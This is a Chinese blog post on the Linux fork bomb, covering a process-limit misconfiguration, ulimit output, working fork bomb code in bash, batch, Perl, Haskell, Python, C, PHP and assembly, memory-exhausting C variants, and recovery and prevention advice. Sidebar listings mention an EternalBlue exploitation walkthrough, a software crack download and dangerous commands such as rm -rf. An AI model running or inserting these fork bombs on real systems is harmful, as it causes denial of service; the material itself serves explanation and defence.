LINUX Fork bomb

fork-bomb:多种语言的叉子炸弹 叉子炸弹 许多不同语言的叉子炸弹。 请分叉(ba dum崩溃)并贡献力量。 当前语言: 艾达 集会 AWK 重击 批 脑干 C C ++ C# Linux下的C#(.Net Core) 埃尔朗 财务会计准则 去 哈斯克尔 HTML Java JavaScript Lisp a 微软Access PHP Perl Python [R Ruby 锈 方案 壳 Visual Basic 立即下载

http://frfj.blogspot.com/2008/08/linux-fork-bomb.html 

看了某书,防止DOS攻击,修改/etc/security/limits.conf

* hard core 0
* hard rss 5000
* hard nproc 20

于是重启后,出现

resource temporarily unavailable


查了相关资料,原来是这个配置文件的问题,第三行是限制用户的fork进程数的,这里太小了,以至于不够用了,进个图形界面都超过限制了,于是修改一下:

* hard nproc 100

现在够用了,顺便了解了一下forkbomb(fork炸弹)

fork就是用来创建进程的,fork炸弹就是通过快速的创建很多进程让你机器挂掉,属于拒绝服务攻击的一种,因为进程数量是有限的,可以通过命令ulimit -a查看

core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 16383
max locked memory (kbytes, -l) 32
max memory size (kbytes, -m) 10000
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 100 最大用户进程数
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

这里看到和刚才配置文件/etc/security/limits.conf设置的一样,用-u命令可以直接改成你要的限制数目。

举例:
下面这段代码可以作为一个fork炸弹(Jaromil ,2002),在bash下执行

:(){ :|:& };:

windows下的fork炸弹,batch编写

:s
START %0
GOTO :s

更简洁的写法:

%0|%0

perl语言:

#!/usr/bin/perl
fork while 1

Haskell:

import Control.Monad
import System.Posix.Process

forkBomb = forever $ forkProcess forkBomb

Python:

import os

while True:
os.fork()

c语言:

#include

int main(int argc, char* args[])
{
while(1)
fork();
return 0;
}

PHP:

while(1)
pcntl_fork();

x86(fasm):

format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start


通过不停的申请内存造成内存不足也可以达到同样效果。
C:

#include
#include

int main(void) {
/* An infinite loop. */
while (1) {
/* Try to allocate 1MB of memory. */
malloc(1048576);
/* Fork the process so that we have exponential growth in memory. */
fork();
}

return EXIT_SUCCESS;
}

因为现代的操作系统运用了Copy-on-write虚拟内存技术,也就是你不使用的话,他不会真正的分配到物理内存。
上面代码修改成这样就可以:

#include
#include

int main(void) {
int *x;

while (1) {
fork();
/* Allocate the memory to a pointer to int */
x = malloc(sizeof(int) * 1048576);
/* Try to use the newly allocated memory */
*x = 0;
}

return EXIT_SUCCESS;
}

这段代码只影响其中第一页,要想影响整个1M空间,必须至少使用每一页的一个字节

解决方法:
一个成功的fork bomb除非reboot,系统不会恢复,因为已经不能新建进程(kill)来杀掉炸弹进程。

:(){ :|:& };:

这段代码的作用是不能再fork,我们可以用一个什么也不做的新进程,每一个新进程都可以减少一个forkbomb的数量,最后就可以消灭掉它,然后这个新进程就可以退出了。
Z Shell语法:

while (sleep 100 &!) do; done


预防:
像最开始修改配置文件/etc/security/limits.conf一样,我们限制用户的最大进程数量(以至于俺限制得过分了^_^!!)。
linux补丁如grsecurity可以检测哪个用户执行了fork炸弹程序

参考:http://en.wikipedia.org/wiki/Forkbomb

Shell脚本经典之Fork炸弹的分析与预防 fork炸弹介绍 众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能。这样的一款shell中自然不会缺少函数这个元素来帮助程序进行模块化的高效开发与管理。于是产生了由于其特殊的特性,bash拥有了fork炸弹。Jaromil在2002年设计了最为精简的一个fork炸弹的实现。 所谓fork炸弹是一种恶意程序,它的内部是一个不断在fork进程的无限循环,fork炸弹并不需要有特别的权限即可对系统造成破坏。fork炸弹实质是一个简单的递归程序。由于程序是递归的,如果没有任何限制,这会导致这个简单的程序迅速耗尽系统里面的所有资源。 现在来看看Jaromil设计的最简单的for 立即下载

相关推荐

Kali Linux实战:5分钟复现永恒之蓝漏洞攻击(附Win7靶机配置指南)

本文提供了一份详细的Kali Linux实战指南,指导读者在5分钟内于隔离的虚拟环境中复现经典的永恒之蓝漏洞攻击。内容涵盖从Windows 7靶机配置、网络设置,到使用Nmap进行服务发现、利用Metasploit框架进行漏洞扫描与利用的全过程,并演示了基础的Meterpreter后渗透操作,旨在帮助网络安全学习者通过亲手实践深入理解SMB协议漏洞的攻防原理。

weixin_29313547的博客 195

TensorFlow正则化终极指南:如何有效防止过拟合的10个技巧

TensorFlow正则化是机器学习中防止模型过拟合的关键技术,通过TensorFlow-Course项目可以学习到完整的正则化实现方法。本文将为您详细介绍TensorFlow中10个有效的正则化技巧,帮助您构建更加稳健的深度学习模型。😊 ## 什么是过拟合?为什么需要正则化? 在深度学习训练过程中,模型可能会过度拟合训练数据,导致在测试集上表现不佳。过拟合就像学生只会背答案而不会解题一样,

gitblog_00023的博客 756

机器学习系列(1)_逻辑回归初步

1、总述 逻辑回归是应用非常广泛的一个分类机器学习算法,它将数据拟合到一个logit函数(或者叫做logistic函数)中,从而能够完成对事件发生的概率进行预测。 2、由来     要说逻辑回归,我们得追溯到线性回归,想必大家对线性回归都有一定的了解,即对于多维空间中存在的样本点,我们用特征的线性组合去拟合空间中点的分布和轨迹。如下图所示:     线性回归能对连续值结果进行预测,

寒小阳 13万+

(linux)从进程和管道解析炸弹函数(5个字符如何让你的windows3秒钟崩溃)

1 进程 1.1进程介绍 进程是程序执行时的一个实例,从内核来看,进程就是分配系统资源(CPU时间,内存等)的基本单位,进程的优点:进程有独立的地址空间,一个进程崩溃后,在保护模式下不会对其它的进程产生影响。进程的缺点:就是在进程切换时,耗费的资源大,相对于线程来说,线程速度是进程速度的几十倍,因为一个进程可以由多个线程组成,线程与同属于一个进程的其它线程共享进程全部资源,但线程没有独立的地址...

qq_38432430的博客 888

第二十届全国大学生智能车竞赛-地瓜机器人智慧医疗挑战赛技术解析与实战指南

本文深入解析了第二十届全国大学生智能车竞赛-地瓜机器人智慧医疗挑战赛的核心技术。内容涵盖从零搭建数字孪生环境、实现AI视觉任务(二维码识别、引导线追踪、目标检测)、在边缘设备部署轻量化大模型进行图生文描述,到遥操作与自主控制的平滑切换,并提供了基于ROS2的系统集成与赛场实战指南,助力参赛者高效备赛。

weixin_29252171的博客 2769

STM32与SD卡SPI接口硬件设计:从原理图到调试的完整指南

SPI(串行外设接口)作为一种广泛应用的同步串行通信协议,以其接线简单、驱动成熟的特点,成为连接微控制器与各类外设的经典方案。其工作原理基于主从架构,通过时钟、数据线和片选信号实现全双工通信,在嵌入式系统中具有极高的技术价值,常用于连接传感器、存储设备和显示模块等。在数据存储场景中,SD卡凭借其大容量和便携性成为首选,而通过SPI模式驱动SD卡,则平衡了性能与设计复杂度。本文聚焦于使用Altium Designer进行硬件设计的工程实践,详细解析了STM32微控制器与SD卡通过SPI通信时,电源管理、上拉电

weixin_34101784的博客 555

Linux fork炸弹以及预防办法

fork炸弹是什么? fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长趋势),并以此消耗系统分配予进程的可用空间使进程表饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一进程终止;但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程,因而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会占用CPU和内存,从而导致系统与现有进程运行速度放缓,响应时间也会随之大幅增加,以致于无法正常完成任务,从而使系统的正常

m0_60352504的博客 2889

三相SST固态变压器详细设计案例

本案例针对400kVA、30kHz三相固态变压器(SST)开展详细设计,核心采用输入串联输出并联(ISOP)拓扑架构(模块化多电平矩阵变换器M3C简化版),重点完成高频变压器的参数计算、绕组设计、损耗分析及液冷温升验证,同时覆盖系统级架构设计、半导体损耗估算及整机效率优化,全流程基于当前电力电子技术可行性展开。

qq_32103755的博客 3286

Linux fork炸弹解析 ——Linux Fork Bomb

Linux Fork Bomb:(){ :|: & };:是一个bash函数,以Fork Bomb闻名,是一个拒绝服务攻击 的Linux 系统。如果你好奇地去执行了这个命令,那么赶快重启系统吧~!命令解析:() { : | : & };: :在这里是一个函数名,我们定义之,并在后面执行它。 :|:&,:函数的输出通过管道传给另一个冒号函数作为输入,并且在后台执行。 { };标识着里面的内容是

AnSwEr不是答案 8536

【Unity URP渲染管线下Shader的自定义物体半透明和投影半透明效果_半透明案例分享】

Unity Shader Graph URP渲染管线下的自定义半透明效果_半透明案例分享

暴走约伯的博客 3294

学 Simulink——基于递推最小二乘法(RLS)的工业电机转动惯量 J在线辨识仿真

Te 估算 = 1.5·p·(ψ·iq + (Ld-Lq)·id·iq)回归量:φ(k)=−ω˙(k), y(k)=Te​(k), θ=J。仿真:电机加速 0→1500rpm,观测 J^(k)→Jnom​。(可选) Jtrue​切 0.04(双惯量负载)→ 看跟踪。电机机械运动方程:Te​−TL​=J⋅ω˙+B⋅ω。J^(0)=0.005→收敛至0.02kg⋅m2✔。Te​:电磁转矩(Nm),已知(来自电流环输出)仅需 Te​,ω(驱动器已有)→ 无额外传感 ✔。

amy_mhd的博客 45

解析超经典的 Fork 炸弹

关注「开源Linux」,选择“设为星标”回复「学习」,有我为您特别筛选的学习资料~Jaromil在2002年设计了最为精简的一个Linux Fork炸弹,整个代码只有13个字符,在shel...

关注微信公众号【开源Linux】,后台回复『10T』,领取10T学习资源大放送,涵盖Linux、虚拟化、容器、云计算、网络、Python、Go等书籍和视频 3725

MTK AWB 色温曲线的进一步猜想

平均距离来判断是否对该色温下白平衡进行全部收白处理,还是保留一些光源的本身的颜色。比如占据图像一大半左右的纯色背景,纵坐标值相对横坐标的距离应该会比较大,大于一般场景下的正常白点分布。反之,位于Plank_curve下方位置的点具有偏洋红色的倾向。此时拟合各个色温下的白点,拟合曲线大致是以X= 0.85)平行于横轴的一条直线。对原始坐标系中的点取对数后的Log坐标系空间。此时拟合各个色温下的白点,拟合曲线大致呈现的是一条直线。,可以认为是各种色温下白点分布所呈现的走向。的算法利用某个色温点的偏离。

大熊 721

Linux Fork Bomb

fork bomb

建伟博客 1398

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

Linux Fork Bomb(Fork 炸弹)

:(){ :|: & };:是一个bash函数,以Fork Bomb闻名,是一个拒绝服务攻击 的Linux 系统。如果你好奇地去执行了这个命令,那么赶快重启系统吧~! 命令解析 :() { : | : & };: :在这里是一个函数名,我们定义之,并在后面执行它。:|:&,:函数的输出通过管道传给另一个冒号函数作为输入,并且在后台执行。函数调用前的&将子进程放入后台。{ };

几钱清风 1311

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

linux的fork指令,令你系统崩溃的陷阱命令Linux fork

Linux运维常用命令 令你系统崩溃的陷阱命令Linux fork本篇Linux运维常用命令将会大家讲解令你系统崩溃的陷阱命令Linux fork ,看完这篇文章会让你知道今后如何避免他。:(){ :|: & };: 是一个bash函数,以 Fork Bomb 闻名,是一个拒绝服务攻击的 Linux 系统。如果你好奇地去执行了这个命令,那么赶快重启系统吧~!命令解析:(){: | : &a...

weixin_42549117的博客 694

【干货】9个一用就GG的Linux命令

也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。当收到tar文件,定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你可以避免成为tar bomb的受害者。一般来说在Web上推荐新的Linux用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。如果你不知mkfs的作用,那么它也是一个危险的命令,mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代。

知识改变命运,技术就是要分享,有问题随时联系,免费答疑,欢迎联系! 374

这9个Linux命令非常危险 请大家慎用

也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。当收到tar文件,定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你可以避免成为tar bomb的受害者。一般来说在Web上推荐新的Linux用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。如果你不知mkfs的作用,那么它也是一个危险的命令,mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代。

2501_94114815的博客 280

linux常见的危险命令,10个你应该知道的最危险的 linux 命令

1. rm -rf CommandThe rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used ...

weixin_28841265的博客 372

linux 高危命令,10个你应该知道的最危险的 linux 命令

1. rm -rf CommandThe rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used ...

weixin_29171129的博客 623

linux 无法执行.o文件,10个最危险的命令–您永远不要在Linux上执行

Linux命令行是高效,有用和有趣的,但是有时当您不确定自己在做什么时,它可能非常危险。本文的目的不是使您对Linux或Linux命令行感到愤怒。我们只想让您了解一些命令,在执行它们之前您应该三思。1. rm -rf命令该-rf RM命令来删除文件夹及其内容的最快方式之一。但是一点错字或无知可能会导致无法恢复的系统损坏。rm命令使用的一些选项是。Linux中的rm命令用于删除文件。rm -r命令以...

weixin_36146690的博客 745

linux_10 Most Dangerous Commands – You Should Never Execute on Linux

via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/   1. rm -rf Command The rm -rf command is one of the fastest way to delete a folder and its contents. But a

mikyz的专栏 246

sudo: pvcreate:找不到命令_【注意】9个一用就GG的Linux命令

关注我,你的眼睛会怀孕Linux Shell/terminal命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。在一些情况下,Linux甚至不会询问你而直接执行命令,导致你丢失各种数据信息。一般来说在Web上推荐新的Linux用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。请记住:这些代码非常危险,甚至可以经过修改,...

weixin_39731456的博客 2221
上一篇: vmware server激活码
下一篇: Visual Studio带参数执行
gnuser
博客等级 码龄20年 35粉丝 141原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值